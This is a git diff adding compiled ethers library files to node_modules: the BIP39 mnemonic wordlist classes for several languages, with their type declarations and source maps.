b/node_modules/ethers/lib.commonjs/wordlists/lang-cz.js.map new file mode 100644 index 000000000000..e62fbe4fb855 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-cz.js.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-cz.js","sourceRoot":"","sources":["../../src.ts/wordlists/lang-cz.ts"],"names":[],"mappings":";;;AAAA,uDAAgD;AAEhD,MAAM,KAAK,GAAG,q9NAAq9N,CAAC;AACp+N,MAAM,QAAQ,GAAG,oEAAoE,CAAC;AAEtF,IAAI,QAAQ,GAAkB,IAAI,CAAC;AAEnC;;;;GAIG;AACH,MAAa,MAAO,SAAQ,6BAAW;IAEnC;;;;;;;OAOG;IACH,gBAAgB,KAAK,CAAC,IAAI,EAAE,KAAK,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC;IAE/C;;;OAGG;IACH,MAAM,CAAC,QAAQ;QACX,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,IAAI,MAAM,EAAE,CAAC;SAAE;QAClD,OAAO,QAAQ,CAAC;IACpB,CAAC;CACJ;AApBD,wBAoBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-en.d.ts b/node_modules/ethers/lib.commonjs/wordlists/lang-en.d.ts new file mode 100644 index 000000000000..87a3234bb8b9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-en.d.ts @@ -0,0 +1,23 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +/** + * The [[link-bip39-en]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangEn extends WordlistOwl { + /** + * Creates a new instance of the English language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langEn]] should suffice. + * + * @_ignore: + */ + constructor(); + /** + * Returns a singleton instance of a ``LangEn``, creating it + * if this is the first time being called. + */ + static wordlist(): LangEn; +} +//# sourceMappingURL=lang-en.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-en.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/lang-en.d.ts.map new file mode 100644 index 000000000000..1a3bf42a6818 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-en.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-en.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-en.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAOhD;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,WAAW;IAEnC;;;;;;;OAOG;;IAGH;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-en.js b/node_modules/ethers/lib.commonjs/wordlists/lang-en.js new file mode 100644 index 000000000000..27cac27a80ab --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-en.js @@ -0,0 +1,35 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.LangEn = void 0; +const wordlist_owl_js_1 = require("./wordlist-owl.js"); +const words = "0erleonalorenseinceregesticitStanvetearctssi#ch2Athck&tneLl0And#Il.yLeOutO=S|S%b/ra@SurdU'0Ce[Cid|CountCu'Hie=IdOu,-Qui*Ro[TT]T%T*[Tu$0AptDD-tD*[Ju,M.UltV<)Vi)0Rob-0FairF%dRaid0A(EEntRee0Ead0MRRp%tS!_rmBumCoholErtI&LLeyLowMo,O}PhaReadySoT Ways0A>urAz(gOngOuntU'd0Aly,Ch%Ci|G G!GryIm$K!Noun)Nu$O` Sw T&naTiqueXietyY1ArtOlogyPe?P!Pro=Ril1ChCt-EaEnaGueMMedM%MyOundR<+Re,Ri=RowTTefa@Ti,Tw%k0KPe@SaultSetSi,SumeThma0H!>OmTa{T&dT.udeTra@0Ct]D.Gu,NtTh%ToTumn0Era+OcadoOid0AkeA*AyEsomeFulKw?d0Is:ByChel%C#D+GL<)Lc#y~MbooN_{Ad!AftAmA}AshAt AwlAzyEamEd.EekEwI{etImeIspIt-OpO[Ou^OwdUci$UelUi'Umb!Un^UshYY,$2BeLtu*PPbo?dRiousRr|Rta(R=Sh]/omTe3C!:DMa+MpN)Ng R(gShUght WnY3AlBa>BrisCadeCemb CideCl(eC%a>C*a'ErF&'F(eFyG*eLayLiv M3AgramAlAm#dAryCeE'lEtFf G.$Gn.yLemmaNn NosaurRe@RtSag*eScov Sea'ShSmi[S%d Splay/<)V tVideV%)Zzy5Ct%Cum|G~Lph(Ma(Na>NkeyN%OrSeUb!Ve_ftAg#AmaA,-AwEamE[IftIllInkIpI=OpUmY2CkMbNeR(g/T^Ty1Arf1Nam-:G G!RlyRnR`Sily/Sy1HoOlogyOnomy0GeItUca>1F%t0G1GhtTh 2BowD E@r-EgSe0B?kBodyBra)Er+Ot]PloyPow Pty0Ab!A@DD![D%'EmyErg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yIntI%.yIs#Iva>IzeOb!mO)[Odu)Of.OgramOje@Omo>OofOp tyOsp O>@OudOvide2Bl-Dd(g~LpL'Mpk(N^PilPpyR^a'R.yRpo'R'ShTZz!3Ramid:99Al.yAntumArt E,]I{ItIzO>:Bb.Cco#CeCkD?DioIlInI'~yMpN^NdomN+PidReTeTh V&WZ%3AdyAlAs#BelBuildC$lCei=CipeC%dCyc!Du)F!@F%mFu'G]G*tGul?Je@LaxLea'LiefLyMa(Memb M(dMo=Nd NewNtOp&PairPeatPla)P%tQui*ScueSemb!Si,Sour)Sp#'SultTi*T*atTurnUn]Ve$ViewW?d2Y`m0BBb#CeChDeD+F!GhtGidNgOtPp!SkTu$V$V 5AdA,BotBu,CketM<)OfOkieOmSeTa>UghUndU>Y$5Bb DeGLeNNwayR$:DDd!D}[FeIlLadLm#L#LtLu>MeMp!NdTisfyToshiU)Usa+VeY1A!AnA*Att E}HemeHoolI&)I[%sOrp]OutRapRe&RiptRub1AAr^As#AtC#dC*tCt]Cur.yEdEkGm|Le@~M(?Ni%N'Nt&)RiesRvi)Ss]Tt!TupV&_dowAftAllowA*EdEllEriffIeldIftI}IpIv O{OeOotOpOrtOuld O=RimpRugUff!Y0Bl(gCkDeE+GhtGnL|Lk~yLv Mil?Mp!N)NgR&/ Tua>XZe1A>Et^IIllInIrtUll0AbAmEepEnd I)IdeIghtImOgAyEakEelEmEpE*oI{IllIngO{Oma^O}OolOryO=Ra>gyReetRikeR#gRugg!Ud|UffUmb!Y!0Bje@Bm.BwayC)[ChDd&Ff G?G+,ItMm NNnyN'tP PplyP*meReRfa)R+Rpri'RroundR=ySpe@/a(1AllowAmpApArmE?EetIftImIngIt^Ord1MbolMptomRup/em:B!Ck!GIlL|LkNkPeR+tSk/eTtooXi3A^Am~NNGradeHoldOnP Set1BOng::Rd3Ar~ow9UUngU`:3BraRo9NeO"; +const checksum = "0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60"; +let wordlist = null; +/** + * The [[link-bip39-en]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangEn extends wordlist_owl_js_1.WordlistOwl { + /** + * Creates a new instance of the English language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langEn]] should suffice. + * + * @_ignore: + */ + constructor() { super("en", words, checksum); } + /** + * Returns a singleton instance of a ``LangEn``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangEn(); + } + return wordlist; + } +} +exports.LangEn = LangEn; +//# sourceMappingURL=lang-en.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-en.js.map b/node_modules/ethers/lib.commonjs/wordlists/lang-en.js.map new file mode 100644 index 000000000000..763d77445ceb --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-en.js.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-en.js","sourceRoot":"","sources":["../../src.ts/wordlists/lang-en.ts"],"names":[],"mappings":";;;AAAA,uDAAgD;AAEhD,MAAM,KAAK,GAAG,u3LAAu3L,CAAC;AACt4L,MAAM,QAAQ,GAAG,oEAAoE,CAAC;AAEtF,IAAI,QAAQ,GAAkB,IAAI,CAAC;AAEnC;;;;GAIG;AACH,MAAa,MAAO,SAAQ,6BAAW;IAEnC;;;;;;;OAOG;IACH,gBAAgB,KAAK,CAAC,IAAI,EAAE,KAAK,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC;IAE/C;;;OAGG;IACH,MAAM,CAAC,QAAQ;QACX,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,IAAI,MAAM,EAAE,CAAC;SAAE;QAClD,OAAO,QAAQ,CAAC;IACpB,CAAC;CACJ;AApBD,wBAoBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-es.d.ts b/node_modules/ethers/lib.commonjs/wordlists/lang-es.d.ts new file mode 100644 index 000000000000..7e51683e7c36 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-es.d.ts @@ -0,0 +1,23 @@ +import { WordlistOwlA } from "./wordlist-owla.js"; +/** + * The [[link-bip39-es]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangEs extends WordlistOwlA { + /** + * Creates a new instance of the Spanish language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langEs]] should suffice. + * + * @_ignore: + */ + constructor(); + /** + * Returns a singleton instance of a ``LangEs``, creating it + * if this is the first time being called. + */ + static wordlist(): LangEs; +} +//# sourceMappingURL=lang-es.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-es.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/lang-es.d.ts.map new file mode 100644 index 000000000000..074d92d81446 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-es.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-es.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-es.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAQlD;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,YAAY;IAEpC;;;;;;;OAOG;;IAGH;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-es.js b/node_modules/ethers/lib.commonjs/wordlists/lang-es.js new file mode 100644 index 000000000000..b48bd5e70fdf --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-es.js @@ -0,0 +1,36 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.LangEs = void 0; +const wordlist_owla_js_1 = require("./wordlist-owla.js"); +const words = "0arertoiotadonoaRteirroenaNonaLsolocoiliaralaorrenadaChoN$n0A>Dom,EjaI!#Oga&O'Or#RazoR*Ue=U<0Ab Adem@CeLe%OmoRa!RozUn0DazD$GeLaM,#S,)T^0AlA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t+T 5BiB^DoE{G*I&In/e%LoMboM^Ptu[TaTi`:Ba&B!B$BleC GazG[&L/&L!oL*Lm.L.Ls/#LudLv Mb-c~Ndi-e Ng_Ni{dN}#PoQueRdin()nSt_TanU`Xof.3Cc~CoC_#C%DGu*IsL=LvaMa`M?l-d-Re'Rg*S#T?:Ba>BiqueB]BuCoC#JoL L>L,#Ll/.Ma'Mb^Ng}quePaPe)P@P.Qu?l(deRe(if(je%RotR+R%TuajeU+ZaZ.3At+|oC]CnicaJa&J!Ji&L/efo'MaM^Mp=NazNd!N!NisNRmi'Rnur(+rSisSo+StigoT!aX#Z3B$Bu+nEmpoEn{Er[EPoR(.TanT!eTu=Za5Al]B?=C Ci'DoG/&M N}#P PeQueRaxR!oRm,%RneoRoRpe&R_RS!Xi>2AbajoAc#rA!Afi>AgoAjeAmoAnceA#AumaAz EbolEguaEin%EnEp EsIbuIgoIpaIs)IunfoOfeoOmpaOn>OpaO)OzoU>Ue'Ufa2B!@BoEr#MbaM^NelNic(bin(ismoR'T^:0Ic 9C!a0B[l0I{dIrIv!; + join(words: Array): string; + /** + * Returns a singleton instance of a ``LangJa``, creating it + * if this is the first time being called. + */ + static wordlist(): LangJa; +} +//# sourceMappingURL=lang-ja.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-ja.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/lang-ja.d.ts.map new file mode 100644 index 000000000000..a1ed95462995 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-ja.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-ja.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-ja.ts"],"names":[],"mappings":"AAKA,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAkIzC;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,QAAQ;IAEhC;;;;;;;OAOG;;IAGH,OAAO,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM;IAO9B,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM;IAIlC,KAAK,CAAC,MAAM,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC;IAKpC,IAAI,CAAC,KAAK,EAAE,KAAK,CAAC,MAAM,CAAC,GAAG,MAAM;IAIlC;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-ja.js b/node_modules/ethers/lib.commonjs/wordlists/lang-ja.js new file mode 100644 index 000000000000..453d7d24ae13 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-ja.js @@ -0,0 +1,158 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.LangJa = void 0; +const index_js_1 = require("../hash/index.js"); +const index_js_2 = require("../utils/index.js"); +const wordlist_js_1 = require("./wordlist.js"); +const data = [ + // 4-kana words + "AQRASRAGBAGUAIRAHBAghAURAdBAdcAnoAMEAFBAFCBKFBQRBSFBCXBCDBCHBGFBEQBpBBpQBIkBHNBeOBgFBVCBhBBhNBmOBmRBiHBiFBUFBZDBvFBsXBkFBlcBjYBwDBMBBTBBTRBWBBWXXaQXaRXQWXSRXCFXYBXpHXOQXHRXhRXuRXmXXbRXlXXwDXTRXrCXWQXWGaBWaKcaYgasFadQalmaMBacAKaRKKBKKXKKjKQRKDRKCYKCRKIDKeVKHcKlXKjHKrYNAHNBWNaRNKcNIBNIONmXNsXNdXNnBNMBNRBNrXNWDNWMNFOQABQAHQBrQXBQXFQaRQKXQKDQKOQKFQNBQNDQQgQCXQCDQGBQGDQGdQYXQpBQpQQpHQLXQHuQgBQhBQhCQuFQmXQiDQUFQZDQsFQdRQkHQbRQlOQlmQPDQjDQwXQMBQMDQcFQTBQTHQrDDXQDNFDGBDGQDGRDpFDhFDmXDZXDbRDMYDRdDTRDrXSAhSBCSBrSGQSEQSHBSVRShYShkSyQSuFSiBSdcSoESocSlmSMBSFBSFKSFNS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YJNEBSJBEJfHSJHwXUJCJdAZJMGjaFVJXEJPNJBlEJfFiJFpFbFEJqIJBVJCrIBdHiJhOPFChvJVJZJNJWxGFNIFLueIBQJqUHEJfUFstOZJDrlXEASJRlXVJXSFwVJNJWD", + // 9-kana words + "QJEJNNJDQJEJIBSFQJEJxegBQJEJfHEPSJBmXEJFSJCDEJqXLXNJFQqXIcQsFNJFIFEJqXUJgFsJXIJBUJEJfHNFvJxEqXNJnXUJFQqD", + // 10-kana words + "IJBEJqXZJ" +]; +// Maps each character into its kana value (the index) +const mapping = "~~AzB~X~a~KN~Q~D~S~C~G~E~Y~p~L~I~O~eH~g~V~hxyumi~~U~~Z~~v~~s~~dkoblPjfnqwMcRTr~W~~~F~~~~~Jt"; +let _wordlist = null; +function hex(word) { + return (0, index_js_2.hexlify)((0, index_js_2.toUtf8Bytes)(word)); +} +const KiYoKu = "0xe3818de38284e3818f"; +const KyoKu = "0xe3818de38283e3818f"; +function toString(data) { + return (0, index_js_2.toUtf8String)(new Uint8Array(data)); +} +function loadWords() { + if (_wordlist !== null) { + return _wordlist; + } + const wordlist = []; + // Transforms for normalizing (sort is a not quite UTF-8) + const transform = {}; + // Delete the diacritic marks + transform[toString([227, 130, 154])] = false; + transform[toString([227, 130, 153])] = false; + // Some simple transforms that sort out most of the order + transform[toString([227, 130, 133])] = toString([227, 130, 134]); + transform[toString([227, 129, 163])] = toString([227, 129, 164]); + transform[toString([227, 130, 131])] = toString([227, 130, 132]); + transform[toString([227, 130, 135])] = toString([227, 130, 136]); + // Normalize words using the transform + function normalize(word) { + let result = ""; + for (let i = 0; i < word.length; i++) { + let kana = word[i]; + const target = transform[kana]; + if (target === false) { + continue; + } + if (target) { + kana = target; + } + result += kana; + } + return result; + } + // Sort how the Japanese list is sorted + function sortJapanese(a, b) { + a = normalize(a); + b = normalize(b); + if (a < b) { + return -1; + } + if (a > b) { + return 1; + } + return 0; + } + // Load all the words + for (let length = 3; length <= 9; length++) { + const d = data[length - 3]; + for (let offset = 0; offset < d.length; offset += length) { + const word = []; + for (let i = 0; i < length; i++) { + const k = mapping.indexOf(d[offset + i]); + word.push(227); + word.push((k & 0x40) ? 130 : 129); + word.push((k & 0x3f) + 128); + } + wordlist.push(toString(word)); + } + } + wordlist.sort(sortJapanese); + // For some reason kyoku and kiyoku are flipped in node (!!). + // The order SHOULD be: + // - kyoku + // - kiyoku + // This should ignore "if", but that doesn't work here?? + /* c8 ignore start */ + if (hex(wordlist[442]) === KiYoKu && hex(wordlist[443]) === KyoKu) { + const tmp = wordlist[442]; + wordlist[442] = wordlist[443]; + wordlist[443] = tmp; + } + /* c8 ignore stop */ + // Verify the computed list matches the official list + /* istanbul ignore if */ + const checksum = (0, index_js_1.id)(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== "0xcb36b09e6baa935787fd762ce65e80b0c6a8dabdfbc3a7f86ac0e2c4fd111600") { + throw new Error("BIP39 Wordlist for ja (Japanese) FAILED"); + } + /* c8 ignore stop */ + _wordlist = wordlist; + return wordlist; +} +let wordlist = null; +/** + * The [[link-bip39-ja]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangJa extends wordlist_js_1.Wordlist { + /** + * Creates a new instance of the Japanese language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langJa]] should suffice. + * + * @_ignore: + */ + constructor() { super("ja"); } + getWord(index) { + const words = loadWords(); + (0, index_js_2.assertArgument)(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return loadWords().indexOf(word); + } + split(phrase) { + //logger.assertNormalize(); + return phrase.split(/(?:\u3000| )+/g); + } + join(words) { + return words.join("\u3000"); + } + /** + * Returns a singleton instance of a ``LangJa``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangJa(); + } + return wordlist; + } +} +exports.LangJa = LangJa; +//# sourceMappingURL=lang-ja.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-ja.js.map b/node_modules/ethers/lib.commonjs/wordlists/lang-ja.js.map new file mode 100644 index 000000000000..50fab4eb1e77 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-ja.js.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-ja.js","sourceRoot":"","sources":["../../src.ts/wordlists/lang-ja.ts"],"names":[],"mappings":";;;AAAA,+CAAsC;AACtC,gDAE2B;AAE3B,+CAAyC;AAGzC,MAAM,IAAI,GAAG;IAET,eAAe;IACf,orEAAorE;IAEprE,eAAe;IACf,ssGAAssG;IAEtsG,eAAe;IACf,4uDAA4uD;IAE5uD,eAAe;IACf,olBAAolB;IAEplB,eAAe;IACf,4JAA4J;IAE5J,eAAe;IACf,0GAA0G;IAE1G,gBAAgB;IAChB,WAAW;CACd,CAAC;AAEF,sDAAsD;AACtD,MAAM,OAAO,GAAG,6FAA6F,CAAA;AAE7G,IAAI,SAAS,GAAyB,IAAI,CAAC;AAE3C,SAAS,GAAG,CAAC,IAAY;IACrB,OAAO,IAAA,kBAAO,EAAC,IAAA,sBAAW,EAAC,IAAI,CAAC,CAAC,CAAC;AACtC,CAAC;AAED,MAAM,MAAM,GAAG,sBAAsB,CAAC;AACtC,MAAM,KAAK,GAAG,sBAAsB,CAAA;AAEpC,SAAS,QAAQ,CAAC,IAAmB;IACjC,OAAO,IAAA,uBAAY,EAAC,IAAI,UAAU,CAAC,IAAI,CAAC,CAAC,CAAC;AAC9C,CAAC;AAED,SAAS,SAAS;IACd,IAAI,SAAS,KAAK,IAAI,EAAE;QAAE,OAAO,SAAS,CAAC;KAAE;IAE7C,MAAM,QAAQ,GAAkB,EAAE,CAAC;IAEnC,yDAAyD;IACzD,MAAM,SAAS,GAAwC,EAAE,CAAC;IAE1D,6BAA6B;IAC7B,SAAS,CAAC,QAAQ,CAAC,CAAC,GAAG,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC,CAAC,GAAG,KAAK,CAAC;IAC7C,SAAS,CAAC,QAAQ,CAAC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ChB,2BAA2B;QAC3B,OAAO,MAAM,CAAC,KAAK,CAAC,gBAAgB,CAAC,CAAC;IAC1C,CAAC;IAED,IAAI,CAAC,KAAoB;QACrB,OAAO,KAAK,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;IAChC,CAAC;IAED;;;OAGG;IACH,MAAM,CAAC,QAAQ;QACX,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,IAAI,MAAM,EAAE,CAAC;SAAE;QAClD,OAAO,QAAQ,CAAC;IACpB,CAAC;CACJ;AAxCD,wBAwCC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-ko.d.ts b/node_modules/ethers/lib.commonjs/wordlists/lang-ko.d.ts new file mode 100644 index 000000000000..4329e0556d3a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-ko.d.ts @@ -0,0 +1,25 @@ +import { Wordlist } from "./wordlist.js"; +/** + * The [[link-bip39-ko]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangKo extends Wordlist { + /** + * Creates a new instance of the Korean language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langKo]] should suffice. + * + * @_ignore: + */ + constructor(); + getWord(index: number): string; + getWordIndex(word: string): number; + /** + * Returns a singleton instance of a ``LangKo``, creating it + * if this is the first time being called. + */ + static wordlist(): LangKo; +} +//# sourceMappingURL=lang-ko.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-ko.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/lang-ko.d.ts.map new file mode 100644 index 000000000000..71fbbcdf0c35 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-ko.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-ko.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-ko.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AA8DzC;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,QAAQ;IAEhC;;;;;;;OAOG;;IAKH,OAAO,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM;IAO9B,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM;IAIlC;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-ko.js b/node_modules/ethers/lib.commonjs/wordlists/lang-ko.js new file mode 100644 index 000000000000..189787d7e187 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-ko.js @@ -0,0 +1,93 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.LangKo = void 0; +const index_js_1 = require("../hash/index.js"); +const index_js_2 = require("../utils/index.js"); +const wordlist_js_1 = require("./wordlist.js"); +const data = [ + "OYAa", + "ATAZoATBl3ATCTrATCl8ATDloATGg3ATHT8ATJT8ATJl3ATLlvATLn4ATMT8ATMX8ATMboATMgoAToLbAToMTATrHgATvHnAT3AnAT3JbAT3MTAT8DbAT8JTAT8LmAT8MYAT8MbAT#LnAUHT8AUHZvAUJXrAUJX8AULnrAXJnvAXLUoAXLgvAXMn6AXRg3AXrMbAX3JTAX3QbAYLn3AZLgvAZrSUAZvAcAZ8AaAZ8AbAZ8AnAZ8HnAZ8LgAZ8MYAZ8MgAZ8OnAaAboAaDTrAaFTrAaJTrAaJboAaLVoAaMXvAaOl8AaSeoAbAUoAbAg8AbAl4AbGnrAbMT8AbMXrAbMn4AbQb8AbSV8AbvRlAb8AUAb8AnAb8HgAb8JTAb8NTAb8RbAcGboAcLnvAcMT8AcMX8AcSToAcrAaAcrFnAc8AbAc8MgAfGgrAfHboAfJnvAfLV8AfLkoAfMT8AfMnoAfQb8AfScrAfSgrAgAZ8AgFl3AgGX8AgHZvAgHgrAgJXoAgJX8AgJboAgLZoAgLn4AgOX8AgoATAgoAnAgoCUAgoJgAgoLXAgoMYAgoSeA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cdefghijklmnopqrstuvwxyz0123456789!@#$%^&*"; +function getHangul(code) { + if (code >= 40) { + code = code + 168 - 40; + } + else if (code >= 19) { + code = code + 97 - 19; + } + return (0, index_js_2.toUtf8String)(new Uint8Array([225, (code >> 6) + 132, (code & 0x3f) + 128])); +} +let _wordlist = null; +function loadWords() { + if (_wordlist != null) { + return _wordlist; + } + const wordlist = []; + data.forEach((data, length) => { + length += 4; + for (let i = 0; i < data.length; i += length) { + let word = ""; + for (let j = 0; j < length; j++) { + word += getHangul(codes.indexOf(data[i + j])); + } + wordlist.push(word); + } + }); + wordlist.sort(); + // Verify the computed list matches the official list + /* istanbul ignore if */ + const checksum = (0, index_js_1.id)(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== "0xf9eddeace9c5d3da9c93cf7d3cd38f6a13ed3affb933259ae865714e8a3ae71a") { + throw new Error("BIP39 Wordlist for ko (Korean) FAILED"); + } + /* c8 ignore stop */ + _wordlist = wordlist; + return wordlist; +} +let wordlist = null; +/** + * The [[link-bip39-ko]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangKo extends wordlist_js_1.Wordlist { + /** + * Creates a new instance of the Korean language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langKo]] should suffice. + * + * @_ignore: + */ + constructor() { + super("ko"); + } + getWord(index) { + const words = loadWords(); + (0, index_js_2.assertArgument)(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return loadWords().indexOf(word); + } + /** + * Returns a singleton instance of a ``LangKo``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangKo(); + } + return wordlist; + } +} +exports.LangKo = LangKo; +//# sourceMappingURL=lang-ko.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-ko.js.map b/node_modules/ethers/lib.commonjs/wordlists/lang-ko.js.map new file mode 100644 index 000000000000..3a680309dd78 --- /dev/null +++ b/node_modules/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AAE;QAClD,OAAO,QAAQ,CAAC;IACpB,CAAC;CACJ;AAjCD,wBAiCC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-pt.d.ts b/node_modules/ethers/lib.commonjs/wordlists/lang-pt.d.ts new file mode 100644 index 000000000000..f218013c60fe --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-pt.d.ts @@ -0,0 +1,23 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +/** + * The [[link-bip39-pt]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangPt extends WordlistOwl { + /** + * Creates a new instance of the Portuguese language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langPt]] should suffice. + * + * @_ignore: + */ + constructor(); + /** + * Returns a singleton instance of a ``LangPt``, creating it + * if this is the first time being called. + */ + static wordlist(): LangPt; +} +//# sourceMappingURL=lang-pt.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-pt.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/lang-pt.d.ts.map new file mode 100644 index 000000000000..68f390d5c292 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-pt.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-pt.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-pt.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAOhD;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,WAAW;IAEnC;;;;;;;OAOG;;IAGH;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-pt.js b/node_modules/ethers/lib.commonjs/wordlists/lang-pt.js new file mode 100644 index 000000000000..4efe2fab643a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-pt.js @@ -0,0 +1,35 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.LangPt = void 0; +const wordlist_owl_js_1 = require("./wordlist-owl.js"); +const words = "0arad!ototealirertainrasoent hoandoaR#riareha!aroele'oronul0Aca%AixoAl A%rDuz'El]Er$IsmoO$ Rum S-&T(i&TigoVo[=0F&.Il#P' S?S* So&/Sun$Tr&0Ac#Adu+Al/A[f E 